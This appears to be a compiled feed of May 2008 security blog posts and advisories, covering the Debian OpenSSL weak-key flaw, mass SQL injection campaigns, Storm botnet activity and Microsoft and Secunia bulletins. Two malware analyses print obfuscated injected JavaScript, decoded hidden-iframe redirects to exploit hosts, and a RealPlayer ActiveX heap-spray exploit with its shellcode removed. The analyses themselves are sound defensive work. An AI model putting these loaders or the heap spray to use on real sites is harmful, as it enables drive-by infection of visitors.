Debian OpenSSL Vulnerability Posted by Vulnerabilities @ 10:07 GMT | postCount('00001438'); Comments

Debian's OpenSSL packages versions 0.9.8c-1 up to 0.9.8g-9 are affected by a highly critical vulnerability which may lead to weak cryptographic keys and potentially compromise the system.

Debian

The vulnerability is due to the random number generator in Debian's OpenSSL package being more predictable which might lead an attacker to conduct brute force guessing attacks and decipher cryptographic keys used in SSH, OpenVPN, DNSSEC, X.509 certificates, and session keys used in SSL/TLS connections.

Also, an unspecified weakness in the Datagram Transport Layer Security implementation can be exploited by remote attackers to cause a denial of service condition and potentially compromise the vulnerable system.

Update the OpenSSL package from Debian and recreate all cryptographic keys to mitigate.

For more information read our vulnerability report and Debian's announcement.

Debian OpenSSL Vulnerability - F-Secure Weblog : News from the Lab

 

Microsoft released Virtual PC 2007 Service Pack 1

The Service Pack 1 of free Microsoft Virtual PC 2007 is ready for download at Microsoft's Download Center.

Microsoft Virtual PC 2007 SP1 is a Service Pack Update for Virtual PC 2007 qualifying Windows Server 2008, Vista SP1 and XP SP3

You can view also the release note here.

Information about Virtual PC is at http://www.microsoft.com/windows/products/winfamily/virtualpc/default.mspx

Published Friday, May 16, 2008 5:37 PM by donna

Microsoft released Virtual PC 2007 Service Pack 1 - Donna's SecurityFlash

 

Zango and Storm: Possibly in Cahoots

May 15th, 2008 by Macky Cruz (Technical Communications)

When security researchers encounter a piece of code, they often have little idea about its ultimate objective. Analysts have to play online gumshoe when it comes to tracing the relationship of a single file to what is very often a multi-component attack.

Storm has been on the foreground for quite some time as a primary example of how rampant (and undetected) zombified computers have become. Whenever analysts want to talk about the Internet’s propensity to help administer organized crime, the Storm botnet always comes to mind. There have been several reports in the past few months that point to Storm’s various nefarious activities:

Now we are beginning to see Zango-related codes being passed around and distributed among known Storm proxies.

One of these files, now detected as TROJ_MUTANT.BN, is an AdPack kit that contains a file named zango.php. Within this file can be found CLSIDs that are similar to those modified in line with Zango or Hotbar routines.

The other PHP files, detected as either JS_AGENT.BB or PHP_MPHAK.AL, seem to be products of signature detection’s arch-enemy: server-side polymorphism. This is a technique that enables malware writers to produce a slightly different version of a file (technically a new variant) each time a request to access the remote malicious server (typically by an infected computer) is made.

The presence of these clues means either of two possibilities. One, that Storm is now targeting computers that have Zango adware installed in them, or two, that Storm has now been commissioned to deploy Zango adware. Zango (also ePIPO, 180solutions, HotBar) is an adware company notorious for planting software that runs on startup, displays advertisements, and comes bundled with other software.

Users with computers under the control of a botnet often have little idea that their units are involved in any of the activities that the botnet is currently performing. It therefore becomes a big responsibility for users to make sure not only that they are not infected by agents of these botnet malware (by using adequate and updated Web Threat Protection technology) but also that they are not aiding in carrying out online theft and fraud.

Zango and Storm: Possibly in Cahoots | TrendLabs | Malware Blog - by Trend Micro

 

Missing Tag Foils Compromise

May 15th, 2008 by JM Hipolito (Technical Communications)

Trend Micro threat researchers were recently alerted to yet another Web threat being perpetrated on a very popular e-commerce Web site, but with a new twist: this threat had all the markings of a Chinese-related, cyber-underground maneuver.

Research Project Manager Ivan Macalintal reported that almost 300 pages on the said site had been injected by malware code that redirects to a number of URLs, which eventually lead to a .TXT file full of links to yet more malware. Most of the infected pages were found to be ViewItem pages of gold-plated jewelry like the one below.

Below is an image of the infection chain:

The first three redirections lead the victim to URLs all detected by Trend Micro as JS_ADODB.FP.

The third redirection connects the victim to various exploit codes detected as the following:

  • hxxp://www.mvoe.cn/all/a014.js - HTML_ADODB.EP
  • hxxp://www.mvoe.cn/all/arl.js - TROJ_REPL.CE
  • hxxp://www.mvoe.cn/all/abf.js - HTML_SHELLCOD.DE
  • hxxp://www.mvoe.cn/all/alz.htm - TROJ_IFRAMEBO.BD
  • hxxp://www.mvoe.cn/all/anrl.htm - TROJ_EXPLOIT.FP

All the aforementioned pages then connect to hxxp://w.117b.cn/net/are.exe, which is detected as PE_CAOLYWA.E-O. Upon connection, a config file is accessed, located at hxxp://w.117b.cn/config.txt. This file now contains the bulk load of malware code, which connects to 30 URLs to download TROJ_DLOADER and TSPY_ONLINEG variants.

That is obviously not good.

That is what could have happened, had the code worked successfully. Further research by threat analysts reveals that this “bouncing Web threat” never got its bounce to begin with; a missing tag prevented the infection chain from actually ever taking place.

A related malware link has also been found by researchers disclosing that more malicious files may be stored in the same domain: hxxp://w.117b.cn/net/new.htm was found to be detected as JS_ADODB.FP, which also connects to the same exploit codes used in the foiled attack against the popular e-commerce company.

A close call indeed, but Trend Micro isn’t taking any chances. This same attack may have been used in other sites than just this popular e-commerce site and may have unfortunately worked like a charm. Trend Micro customers are already protected from this threat. All involved malicious URLs are now blocked by WTP (Web Threat Protection). Trend Micro advises users to keep the URL Filtering feature enabled in their product.

At the time of writing, Trend Micro has advised the concerned site of the attempted attack in order that any affected pages can be cleaned up.

Missing Tag Foils Compromise | TrendLabs | Malware Blog - by Trend Micro

 

Published: 2008-05-15,
Last Updated: 2008-05-15 23:16:38 UTC
by Bojan Zdrnja (Version: 3)
1 comment(s) digg_url = 'http://isc.sans.org/diary.html?storyid=4421&rss'; digg_title = 'INFOCon yellow: update your Debian generated keys/certs ASAP'; digg_skin='compact'; digg_topic = 'security';

As you can see, we raised the INFOCon level to yellow. The main idea behind INFOCon is to protect the Internet infrastructure at large, and the development on automated scripts exploiting key based SSH authentication looks like a real threat to SSH servers around the world (any SSH server using public keys that were generated on a vulnerable Debian machine – meaning – the keys had to be generated on a Debian machine between September 2006 and 13th of May 2008).

Note: 'Debian' in the above paragraph refers to any Debian-based Linux distribution including Ubuntu.

Scripts that allow brute forcing of vulnerable keys (see this as rainbow tables for SSH keys) are in the wild so we would like to remind all of you to regenerate SSH keys ASAP.

Please keep in mind that SSL certificates should be regenerated as well. This can be even more problematic if you had your certificates signed since you'll have to go through this process again (and possibly pay money again).

Update 2310 UTC: The new Debian package for SSH (ssh_4.3p2-9etch1) also applies a package called  "openssh-blacklist".  After this update, your  SSH server will refuse  keys from the compromised set.  The package also installs a new tool called "ssh-vulnkey" that can help in hunting down key files that contain weak keys.   Note that in combination with the existing ssh-keyscan, ssh-vulnkey can be used to easily identify servers that use weak host keys, so while these Debian patches help those who patch, they also make attacks easier against those who did not yet patch.

More information is available in our previous diaries:

http://isc.sans.org/diary.html?storyid=4420

http://isc.sans.org/diary.html?storyid=4414

 

1 comment(s)

SANS Internet Storm Center; Cooperative Network Security Community - Internet Security - isc

 

Published: 2008-05-15,
Last Updated: 2008-05-15 15:30:39 UTC
by Bojan Zdrnja (Version: 2)
1 comment(s) digg_url = 'http://isc.sans.org/diary.html?storyid=4421&rss'; digg_title = 'INFOCon yellow: update your Debian generated keys/certs ASAP'; digg_skin='compact'; digg_topic = 'security';

As you can see, we raised the INFOCon level to yellow. The main idea behind INFOCon is to protect the Internet infrastructure at large, and the development on automated scripts exploiting key based SSH authentication looks like a real threat to SSH servers around the world (any SSH server using public keys that were generated on a vulnerable Debian machine – meaning – the keys had to be generated on a Debian machine between September 2006 and 13th of May 2008).

Note: 'Debian' in the above paragraph refers to any Debian-based Linux distribution including Ubuntu.

Scripts that allow brute forcing of vulnerable keys (see this as rainbow tables for SSH keys) are in the wild so we would like to remind all of you to regenerate SSH keys ASAP.

Please keep in mind that SSL certificates should be regenerated as well. This can be even more problematic if you had your certificates signed since you'll have to go through this process again (and possibly pay money again).

More information is available in our previous diaries:

http://isc.sans.org/diary.html?storyid=4420

http://isc.sans.org/diary.html?storyid=4414

--
Bojan

SANS Internet Storm Center; Cooperative Network Security Community - Internet Security - isc

 

Published: 2008-05-15,
Last Updated: 2008-05-15 12:02:47 UTC
by Bojan Zdrnja (Version: 2)
0 comment(s) digg_url = 'http://isc.sans.org/diary.html?storyid=4420&rss'; digg_title = 'Debian and Ubuntu users: fix your keys/certificates NOW'; digg_skin='compact'; digg_topic = 'security';

Couple of days ago Swa posted a diary about a critical Debian/Ubuntu PRNG security vulnerability.

Today Matt wrote in to let us know that H D Moore posted a web page containing all SSH 1024, 2048 and 4096-bit RSA keys he brute forced.

It is obvious that this is highly critical – if you are running a Debian or Ubuntu system, and you are using keys for SSH authentication (ironically, that's something we've been recommending for a long time), and those keys were generated between September 2006 and May 13th 2008 then you are vulnerable. In other words, those secure systems can be very easily brute forced. What's even worse, H D Moore said that he will soon release  a brute force tool that will allow an attacker easy access to any SSH account that uses public key authentication.

But this is not all – keep in mind that ANY cryptographic material created on vulnerable systems can be compromised. If you generated SSL keys on such Debian or Ubuntu systems, you will have to recreate the certificates and get them signed again. An attacker can even decrypt old SSH sessions now.

The Debian project guys released a tool that can detect weak keys (it is not 100% correct though as the blacklist in the tool can be incomplete). You can download the tool from http://security.debian.org/project/extra/dowkd/dowkd.pl.gz.

 
The bottom line is: this is very, very, very serious and scary. Please check your systems and make sure that you are both patched, and that you regenerated any potentially weak cryptographic material.

UPDATE

 

There have been some questions if this is related to the increase of SSH attacks we reported about couple of days ago (see http://isc.sans.org/diary.html?storyid=4408). At this point in time we think it is just a coincidence. In any case, you can help us by checking your logs – if the attackers are brute forcing password logins then the attack has nothing to do with this, but if you are seeing key authentication attempts then it is red alert.

The situation with web certificates is even worse – the public key is really that: public. So, for a weak key generated on Debian, an attacker could derive the private key and construct a Man-In-The-Middle attack without any problems in the browser! Very very scary. Makes one wonder how many people used Debian to generate their SSL keys.

As Swa said, there are basically 2 scenarios:

  • the public key is known publicly -> no brute force needed, the attackers walk in private key in hand
  • the public key isn't found -> brute force of some 260K keys needed.

--

Bojan

SANS Internet Storm Center; Cooperative Network Security Community - Internet Security - isc

 

Symantec Altiris Deployment Solution Multiple Vulnerabilities

Secunia Advisory:
SA30261

Release Date:
2008-05-15

Critical:

Moderately critical

Impact:
Manipulation of data
Exposure of sensitive information
Privilege escalation
System access

Where:
From local network

Solution Status:
Vendor Patch

Software:
Altiris Deployment Solution 6.x

Description:
Some vulnerabilities and security issues have been reported in Symantec Altiris Deployment Solution, which can be exploited by malicious, local users to gain escalated privileges or manipulate certain data, and by malicious people to disclose sensitive information, conduct SQL injection attacks, and to compromise a vulnerable system.

1) Input passed via unspecified parameters is not properly sanitised before being used in an SQL query. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code.

Successful exploitation allows execution of arbitrary code on an affected system.

2) An unspecified error can be exploited to request and obtain encrypted Altiris Deployment Solution domain credentials without authentication.

NOTE: Weaknesses in the encryption can potentially result in the unauthorized exposure of these domain credentials.

3) An unspecified error can be exploited to access a privileged command prompt via the user interface of the Altiris Deployment Solution Agent.

4) An unspecified error can be exploited to access a command prompt running with escalated user privileges via a common graphical user interface element (tooltip).

5) Several registry keys are created with improper permissions, which can be exploited to modify or delete these registry keys.

6) Improper permissions can potentially be exploited to replace application components within the installation directory of Deployment Solution, which run with administrative privileges on an affected system.

The vulnerabilities and security issues are reported in version 6.8.x and 6.9.x prior to build 6.9.176.

Solution:
Update to version 6.9.176 or install hotfix (KB 41418):
http://kb.altiris.com/

Note: This hotfix requires a rollout of upgraded DS Agent software.

Provided and/or discovered by:
1, 2) The vendor credits Brett Moore of Insomnia Security, working with ZDI.
3 - 6) The vendor credits Alex Hernandez of sybsecurity.com and Eduardo Vela.

Original Advisory:
SYM008-012:
http://securityresponse.symantec.com/avcenter/security/Content/2008.05.14a.html

Symantec Altiris Deployment Solution Multiple Vulnerabilities - Advisories - Secunia

********************************************************************

Title: Microsoft Security Bulletin Minor Revisions

Issued: May 14, 2008

********************************************************************

Summary

=======

The following bulletins have undergone a minor revision increment.

Please see the appropriate bulletin for more details.

* MS08-026 - Critical

* MS08-017 - Critical

Bulletin Information:

=====================

* MS08-026 - Critical

- http://www.microsoft.com/technet/security/bulletin/ms08-026.mspx

- Reason for Revision: V1.1 (May 14, 2008): Updated the Deployment Information sections for Office 2004 for Mac and Office 2008

for Mac to link to the Microsoft Download Center. Also added entry to Update FAQ to clarify why the update for Outlook

2007 is rated Critical.

- Originally posted: May 13, 2008

- Updated: May 14, 2008

- Bulletin Severity Rating: Critical

- Version: 1.1

* MS08-017 - Critical

- http://www.microsoft.com/technet/security/bulletin/ms08-017.mspx

- Reason for Revision: V1.3 (May 14, 2008): Bulletin updated to add a link to Microsoft Knowledge Base Article 933103 under Known

Issues in the Executive Summary.

- Originally posted: March 11, 2008

- Updated: May 14, 2008

- Bulletin Severity Rating: Critical

- Version: 1.3

 James Garner has always been one of my favorite actors, and in some ways has always reminded me of my Dad.

Hang in there Jim!!

James Garner 'doing well' after stroke - CNN.com

 

The commercial HTML packer dilemma

Wednesday May 14, 2008 at 9:53 am CST
Posted by Patrick Comiotto

Trackback

Following the big noise that the latest mass injection of sites with malicious Javascripts infecting many computers via a number of exploits I decided to take a look at the trail that was left behind, which has proven to be an interesting exercise!

A few days ago I noticed a large number of websites that were misbehaving and I came across many pages that would fire up the usual ActiveX alert on my Internet Explorer 7 after loading a Javascript called (on this occasion) addr.js … Not surprisingly these were mostly based in China and here is a snippet of code that most of you would probably recognise by now.

eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString
(36))};if(!”.replace(/^/,String)){while(c–)d[e(c)]=kCoffee||e(c);k=[function(e){return dEmail}];
e=function(){return’\\w+’};c=1};while(c–)if(kCoffee)p=p.replace(new
RegExp(’\\b’+e(c)+’\\b’,'g’),kCoffee);return

||iframe|document|if|cn||||http|src|none|style|||write||new|catch|try|gift|

|ie|toLowerCase|userAgent|navigator||String|1000|24|getTime|setTime|Date’.split(’|'),0,{}))

So far nothing new, the Javascript function you can see above, designed by Dean Edwards to obfuscate HTML code, it has been discussed in many posts and this is a popular method for a web developers to “hide” sensitive source code on their pages. It is unfortunately also a popular method to hide malicious code too. and the example above does just that, in fact here are some interesting parts of the decoded version from the above example:

try{if(navigator.userAgent.toLowerCase().indexOf(”ms”+”ie 7″)==-1)

This will check if version of Internet Explorer is 7 and the script will then load the following IFRAMES depending on some other factors such as GMT, ActiveX, presence of Real Player version etc.

<iframe style=display:none src="http:// :///ms.gif">
<iframe style=display:none src=":///xl.gif">
<iframe style=display:none src="http:// :///bd.gif">
<iframe style=d'+'isp'+'lay:none src="http:// :///r'+'eal.g'+'if">
<iframe style=d'+'isp'+'lay:none src="http:///r'+'eal_new.g'+'if">
<iframe style=display:none src="http:// :///lz.gif">

As we can see 6 IFRAMES are hidden in the code, and they will load various pages with exactly the same exploits (with minor variations) that were used in the recent mass injection a couple of weeks ago.

So you might ask now, what’s new about that? Well, what is worrying is the fact that the pages loaded by the IFRAMES will attempt to grab some fake GIF (image) files that are in fact hiding more Javascript code but this time the code is obfuscated by yet another commercial tool called HTMLSHIP.

The following snippet is an example from one of the pages hiding a RealPlayer Exploit:

<META HTTP-EQUIV="imagetoolbar" CONTENT="no" >
<noscript> <iframe> </iframe> </noscript> <script language="javascript">
<--
oB73=”g\_B\_llBX”,hG30=”ghW\!WX\!X”;.4198945,hZ47=”.417788″,oB73=’\}4\?
P\*nu\,S\Bj\^\{\|FRv1qysJck\$\#lXY8KT\.\`p\@3Q\:\[A7\”romw\ OUiW\%M\-
\n\_z’,hG30=’h\[3aK\$\^iz5\&\|4sqF\)op9dH\+\.\!\}\*eX\,uvlVr1\=80b\:PDB
\>\{\#Nm\?cCtkL\@\(QGfUO\`\\\-\n7\]JIgEYR\_nw\~ZWT6jS\’\”x\ \/\%\;\ryM\
<2A’;function rD24(cX63){”ghXh\@\{\{h”,l=cX63.length;’\/rZNLrPz’,w=”;
while(l–)”g\!\@l\]\{W\]”,o=oB73.indexOf(cX63.charAt(l)),’\/ErPIYLr’,
w=(o==-1?cX63.charAt(l):hG30.charAt(o))+w;”g\!\@\]\_Wll”,oB73=oB73.
substring(1)+oB73.charAt(0),
document.write(w);'\/YZEIENY'};rD24"
\nL\^V\,C\|O\+P3T\&PT\'ZrP\)PL\^V\,C\|6\|f\<EZ\!\_\?gW\,s1IG\^\&B\
'3\|\=P\+\+\;ts\&3\^\|\,G3O\@IB1\;tV\'\|\&V3OsP\+L\'9Ws\&3\^\|\,G3O\@
BIB1\;tIG\^\&B\'3\|\=G3\^G3\|\'\

...
\:4S2bUq\r\)J\/2bQ\.F4U\_UPzGU\r\)JUgU\r\)JU\=U\)Qb\\\{\*Hbq\ W\(\|\
G\%MX \+\*\!UjUgUww\%MX jUgUC\ro\/\|CQ\\C2b\%MX C\ro\/\|CQ\\C2bUgU\r\)
J\%MX C\ro\/\|CQ\\C2bUgUj\%MX jUgUC\ro\/\|CQ\\C2b\%MX C\ro\/\|CQ\\
C2bUgU\r\)J\%MX C\ro\/\|CQ\\C2bUgUj\%MX\_i\\\{\!SHFt”)
<b><font color=”red”>This page requires a javascript enabled browser!!!</font></b>

As you may have noticed this is pretty much un-readable but here is the important part of the code de-obfuscated using one of my favourite tools, the Caffeine-Monkey implementation of the Mozilla Browser engine from Ben Feinstein and Daniel Peck at SecureWorks.

<script language="JavaScript">
document.write('<object classid="clsid:2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93" id="obj" width=0 height=0> </object>');
----------

Above we can see the CLSID for the RealPlayer ActiveX Control.
And below we can see some of the code used to exploit the vulnerability described here.

var shellcode1 = unescape(" [SHELLCODE- REMOVED] ");
var bigblock = unescape("%u0C0C%u0C0C");
var headersize = 20;
var slackspace = headersize + shellcode1.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40001) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 400; i++){ memoryIdea = block + shellcode1 }
var buf = '';
while (buf.length < 32) buf = buf + unescape("%0C");
var m = '';
m = obj.Console;
obj.Console = buf;
obj.Console = m;
----------------

So far I have seen a few variations in the domains used to host the various exploits involved as well as in the names for the Javascript file and we will be monitoring these for changes to see if it will be used more extensively in the future.

As of today the samples I discovered are still not detected by any AV … Well except one that is… ;-)

An additional note is the fact that the techniques used in obfuscating malicious Javascript on webpages are becoming more sophisticated and more difficult to signature for conventional AV Engines.
Nowadays there are a large number of tools similar to the ones mentioned above allowing malware authors to obfuscate with ease.

A quick parallel with binary files and their respective packers (compressors, protectors, encryptors and so on) this is not a new technique but as I said things are becoming more sophisticated just like with UPX vs the likes of Armadillo, ASProtect and others.

To hide or not To hide

In an Ideal world the people making this commercial protection software available should have no need to hide code in such convoluted ways and perhaps, in the case of web-design people should be more aware of other practices to make code secure and safe for copyrights and/or trademark reasons. For example server-side scripting, or using Ajax and Java for servlets.

If I was to embark in the task of leeching the code of a particularly interesting web-page and I understood the inner workings of scripting languages such as Javascript or the Microsoft implementation for IE’s JScript I would not be stopped by such trivial means of hiding the code that can be easily reverted to the original look with a few clicks and the latest version of a browser engine like the Mozilla Java-Script C engine.

Many Ideas are being brought forward in the field of packing and how to counteract the incredible rise in malware variants caused by it. Perhaps people making legitimate software and writing legitimate HTML code for web-pages should start coming to terms with the fact that “Security through Obscurity” has failed miserably to deliver and that, the cleaner their products the easier it will be for all of us to identify suspicious illegal software/code making the task of identifying the bad guys a little less daunting….. however this is far from an ideal world ;-)
Errr…. Linux anyone?

Computer Security Research - McAfee Avert Labs Blog

 Interesting...

May 14th, 2008

HP partners with Desktone to advance virtualized desktops as a service

Posted by Dana Gardner @ 11:27 am

Desktone, the desktop as a service (DaaS) provider, has lined up a powerful ally in Hewlett-Packard (HP), which has signed on as the first member of Desktone’s partner program for desktop virtualization technology.

Desktone announced HP’s involvement at the same time it unveiled its service provider partner program designed to enable service providers in the IT hosting, outsourcing and datacom businesses to offer DaaS to their clients. HP’s Flexible Computing Services (FCS) will be the first participant. [Disclosure: HP is a sponsor of BriefingsDirect podcasts.]

HP, along with ClearCube Technology, also provides physical PC Blade Desktops. In this model, individual “client blade” PCs are used to host multiple independent user sessions, each one running on its own physical PC blade. In this case, it’s possible to host as many client PC blades as you have rack space, power and data center space to accommodate, according to Wikipedia.

The Desktone partner program is aimed at service providers already in the hosting or outsourcing business and who want to leverage existing data center assets. Desktone said that partners who sign up in 2008 would have direct input into the company’s Virtual-D platform product direction.

While many companies can benefit from virtualizing their desktops, building the infrastructure can be expensive, especially for small and medium-sized businesses. Acquiring the technology as a service, and paying for it as an operating expense can put the technology within the reach of many of those businesses.

For those who may be hazy on the concept of desktop virtualization, ZDNet blogger Dan Kusnetzky gave a short primer back in March on what desktop virtualization is and why you should care:

Desktop virtualization is encapsulating and delivering either access to an entire information system environment or the environment itself to a remote device. This device may be based upon an entirely different hardware architecture than that used by the projected desktop environment. It may also be based upon an entirely different operating system as well.

The Virtual-D Platform enables service providers to offer hosted, subscription-based virtual desktops through a single, automated self-service platform. Enterprises can realize the full benefits of centralized virtual desktops without having to build and deploy the infrastructure internally. The Virtual-D Platform comprises two tiers, enterprise and service provider, which lets enterprises maintain ownership and control over their desktops while outsourcing the physical data center infrastructure powering those virtual desktops.

I saw the vast potential of DaaS nearly a year ago, when Desktone announced a big infusion of venture capital. At the time, I wrote:

The ability to deliver a PC operating environment in a way users are accustomed to via grid/utility efficiencies in a way that appeals to the realities of enterprise IT departments and needs may be a seed that has a long way to grow. But compelling economics and the movement generally to services delivery portends a fast-growing new market segment for home, SMB and large business users. Telcos and cable providers will need to provide these kinds of services, for sure.

Desktone is part of a burgeoning ecology of desktop virtualization providers, including Quest’s Provision Networks, Citrix, VMware, WebGlobix and Ericom.

HP partners with Desktone to advance virtualized desktops as a service | Dana Gardner’s BriefingsDirect | ZDNet.com

 

Internet Explorer "Print Table of Links" Cross-Zone Scripting

Secunia Advisory:
SA30141

Release Date:
2008-05-14

Critical:

Less critical

Impact:
System access

Where:
From remote

Solution Status:
Unpatched

Software:
Microsoft Internet Explorer 6.x
Microsoft Internet Explorer 7.x

Description:
Aviv Raff has discovered a vulnerability in Internet Explorer, which can be exploited by malicious people to compromise a user's system.

Input passed via links within an HTML file is not being properly sanitised before being used to generate a printable HTML file. This can be exploited to inject arbitrary script code, which is executed in local context when a user is enticed to print a specially crafted HTML document with the "Print table of links" option enabled.

Successful exploitation allows execution of arbitrary code.

The vulnerability is confirmed in Internet Explorer 6 and 7 on a fully patched Windows XP SP2. Other versions may also be affected.

Solution:
Do not print HTML files from untrusted sources with the "Print table of links" option.

Provided and/or discovered by:
Aviv Raff

Original Advisory:
http://aviv.raffon.net/2008/05/14/Int...tCrossZoneScriptingVulnerability.aspx

Internet Explorer "Print Table of Links" Cross-Zone Scripting - Advisories - Secunia

 

SQL Injection Attacks Becoming More Intense Posted by Patrik @ 23:20 GMT | postCount('00001435'); Comment (1)

The mass SQL injection attacks we've mentioned here and here are increasing in number and we're seeing more domains being injected and used to host the attack files. We believe that there is now more than one group using a set of different automated tools to inject the code.

Previously, these attacks have primarily pointed to IP addresses in China and we've seen the following domains being used in addition to the ones we've mentioned previously:

   www.wowgm1.cn
   www.killwow1.cn
   www.wowyeye.cn
   vb008.cn
   9i5t.cn
   computershello.cn

We've now seen other domains being used as well such as direct84.com which is inserted by an SQL injection tool (detected as HackTool:W32/Agent.B) distributed to the Asprox botnet. SecureWorks has a nice write-up available. The direct84.com domain fast-fluxes to several different IPs in Europe, Israel and North America.

SQL fastflux direct84

The injected link eventually leads to a backdoor detected as Backdoor:W32/Agent.DAS.

This is a good time to again mention that it's not a vulnerability in Microsoft IIS or Microsoft SQL that is used to make this happen. If you are an administrator of a website that is using ASP/ASP.NET, you should make sure that you sanitize all inputs before you allow it to access the database.

There are many articles on how to do this such as this one. You could also have a look at URLScan which provides an easy way to filter this particular attack based on the length of the QueryString.

SQL Injection Attacks Becoming More Intense - F-Secure Weblog : News from the Lab

 

Published: 2008-05-14,
Last Updated: 2008-05-14 00:31:33 UTC
by Bojan Zdrnja (Version: 1)
0 comment(s) digg_url = 'http://isc.sans.org/diary.html?storyid=4418&rss'; digg_title = 'War of the worlds?'; digg_skin='compact'; digg_topic = 'security';

There have been a lot of discussions going on about these injection attacks. The one thing in common so far has been that the culprits are abusing security vulnerabilities in various web applications, mainly SQL injection.

Exploiting of such vulnerabilities became relatively easy (since there are many vulnerable applications that use similar backend logic), so the bad guys started releasing various tools that enable them to compromise sites automatically. I analyzed one such tool at http://isc.sans.org/diary.html?storyid=4294, which was probably used for a lot of SQL injection attacks we have seen lately (but be aware that other similar tools exist and are actively used in the underground, one such tool in use with botnets was analyzed by Joe at SecureWorks, http://www.secureworks.com/research/threats/danmecasprox/).

While the motive for this is more or less standard – steal credentials or virtual goods so you can convert/sell that for real money (Mike and Steven from Shadowserver posted very nice articles at http://www.shadowserver.org/wiki/pmwiki.php?n=Calendar.20080507 and http://www.shadowserver.org/wiki/pmwiki.php?n=Calendar.20080513) - while analyzing one such site today I saw an interesting rant, presumably by the author.

The site has already been mentioned multiple times (www.ririwow.cn, which appears to be finally taken down). The majority of attacks actually pointed to this site which happily served some exploits to the end user. However, this time the main index.htm file had this text appended at the bottom:

"This is a mass invasion.        Safeguard the motherland's dignity!
F*** FRANCE!  F*** CNN!  I WILL ATTACK you ALWAYS  !
I love my motherland!
sorry
Please understand that I
IF YOU WANT TO SAY SOMETHING .
PLEASE SEND EMAIL TO kiss117276@163.com "

(language edited)
Interesting. While this could have been added by anyone, I found another interesting thing thanks to a heads up from our friend Paul from pauldotcom.com. Paul analyzed a compromised site which had this piece of JavaScript inserted:

eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode
(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=kCoffee||e(c);k=[function(e){returnEmail}];e=functio
n(){return'\\w+'};c=1};while(c--)if(kCoffee)p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),kCoffee);returnp}('8(b.e==\'i-2\
'){}4{3.g("<9d=7:\/\/h.c.2\/a.6 f=15=0><\/9>");}',62,19,'|100|cn|document|else|height|htm|http|if|iframe|index
|navigator|ririwow|src|systemLanguage|width|writeln|www|zh'.split('|'),0,{}))

After deobfuscating the code, we get this:

if (navigator.systemLanguage=='zh-cn'){}else{document.writeln("<iframe
src=http://www.ririwow.cn/index.htm" width=100 height=0></iframe>");}

In other words, the code checks if the system language variable is set to ZH-CN (which is set on systems running in Chinese) and redirects you to the site hosting exploit only if that is not true. So the rant might really be from the author, after all since the code is attacking all non-Chinese machines. Are we getting more serious with this or the bottom line is still (and only) information stealing and money.

--

Bojan

SANS Internet Storm Center; Cooperative Network Security Community - Internet Security - isc

 

MS08-026: How to prevent Word from loading RTF files

This month we released an update for Microsoft Word that fixed issues relating to loading RTF files (CVE-2008-1091) and HTML files (CVE-2008-1434).  Office applications like Microsoft Word can load a large variety of different file formats, and some people may want to reduce their attack surface by disabling the formats they don’t typically use.  As of May 2007, Office 2003 and 2007 have had a feature in place called File Block which allows you to do exactly that via the registry. 

It’s important to note that the file extension doesn’t tell you what format a file is.  For example, you can rename an .RTF or .HTM file to .DOC, and Microsoft Word will load it.  File Block doesn’t key off the file extensions; these format “kill switches” are actually checked in each of the file format parsers, so the restriction can’t be bypassed by simply changing a file’s extension.  That means that simply disabling the file association between .RTF and Microsoft Word will not prevent Word from loading potentially malicious RTF files, since they can end with a .DOC extension.

Microsoft Word, Excel, and PowerPoint can each load a number of different formats which you can individually disable with File Block.  You can also specify a trusted (Office 2007) or exempt (Office 2003) folder, so that files loaded from that location are always allowed through. 

Here are some links that explain how to enable File Block and also how to configure trusted/exempt folders:

For general information about File Block and MOICE see this advisory: http://www.microsoft.com/technet/security/advisory/937696.mspx

We talk about File Block and MOICE with customers as often as we can.  Our team has presented this information at FIRST 2007, BlueHat 2007, CanSecWest 2008, and on several customer visits.  We are hoping the Black Hat selection committee will accept our talk for the 2008 Vegas conference.  Let us know (mailto: switech _at_ microsoft _dot_ com) if you have questions about File Block or MOICE, and we can either answer them or put you in touch with someone who will have the answer.

- Security Vulnerability Research & Defense Bloggers

*Postings are provided "AS IS" with no warranties, and confers no rights.*

Published Tuesday, May 13, 2008 10:15 AM by swiblog

Filed under: Workarounds, Office

Security Vulnerability Research & Defense : MS08-026: How to prevent Word from loading RTF files

 

Microsoft office file block & MOICE

Published: 2008-05-13,
Last Updated: 2008-05-13 23:23:11 UTC
by Swa Frantzen (Version: 1)

0 comment(s)

Microsoft introduced the ability to block file formats to the different  programs in office and safer ways to open suspect files about a year ago.

The file blocking is not based on the file extension but on the actual format (so renaming a rich text file (.rtf) to a .doc won't get around the restriction). Unfortunately it's set by making changes in the registry and perhaps worse: it's a blacklist instead of a list of allowed file types. Still if you never intend to open e.g. rtf files, you could block it.

Microsoft Office Isolated Conversion Environment (MOICE) is an alternate way to open office files away from the actual tool. Use it instead of the real thing if you cannot resist opening that unsolicited attachment promising whatever it promises.

It seems these tools aren't widely used, hence drawing a bit more attention to them might help protect a few in the end.

--
Swa Frantzen -- Gorilla Security

Keywords: microsoft msft

0 comment(s)

SANS Internet Storm Center; Cooperative Network Security Community - Internet Security - isc

********************************************************************

Title: Microsoft Security Advisory Notification

Issued: May 13, 2008

********************************************************************

Security Advisories Updated or Released Today ==============================================

* Microsoft Security Advisory (950627)

- Title: Vulnerability in Microsoft Jet Database Engine Could Allow Remote Code Execution

- http://www.microsoft.com/technet/security/advisory/950627.mspx

- Revision Note: May 13, 2008: Advisory updated to reflect publication of security bulletin.

********************************************************************

Title: Microsoft Security Bulletin Re-Releases

Issued: May 13, 2008

********************************************************************

Summary

=======

The following bulletins have undergone a major revision increment.

Please see the appropriate bulletin for more details.

* MS06-069

Bulletin Information:

=====================

* MS06-069

- http://www.microsoft.com/technet/security/bulletin/ms06-069.mspx

- Reason for Revision: V2.0 (May 13, 2008): Bulletin updated to add Windows XP Service Pack 3 as affected software. This is a

detection update only. There were no changes to the binaries.

- Originally posted: November 14, 2006

- Updated: May 13, 2008

- Bulletin Severity Rating: Critical

- Version: 2.0

 

Published: 2008-05-13,
